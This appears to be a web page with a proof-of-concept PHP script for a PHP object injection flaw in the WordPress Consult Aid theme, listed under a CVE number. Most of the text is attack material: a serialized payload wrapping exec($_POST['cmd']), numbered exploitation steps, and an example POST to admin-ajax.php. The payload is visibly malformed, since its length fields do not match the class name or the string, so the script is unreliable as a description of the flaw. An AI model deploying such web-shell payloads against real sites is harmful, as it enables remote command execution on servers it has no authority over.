CVE-2025-67617 WordPress Consult Aid主题PHP对象注入漏洞

<?php // CVE-2025-67617 PHP Object Injection PoC // Target: WordPress Consult Aid Theme <= 1.4.3 // Vulnerability: Deserialization of Untrusted Data // Example malicious serialized object $malicious_payload = 'O:14:"CustomClass":1:{s:5:"value";s:10:";echo exec($_POST['cmd']);//";}'; // For actual exploitation, attacker would need to: // 1. Identify the vulnerable deserialization endpoint // 2. Find a suitable POP chain in the theme or associated plugins // 3. Craft payload to trigger __destruct() or __wakeup() methods // 4. Send the payload via POST/GET parameter that gets unserialized // Example attack vector: // POST /wp-admin/admin-ajax.php HTTP/1.1 // Content-Type: application/x-www-form-urlencoded // // action=consultaid_action&data=O:14:"CustomClass":1:{s:5:"value";...} echo "Malicious Payload: " . $malicious_payload . "\n"; echo "This payload would be sent to the vulnerable endpoint for deserialization\n"; ?>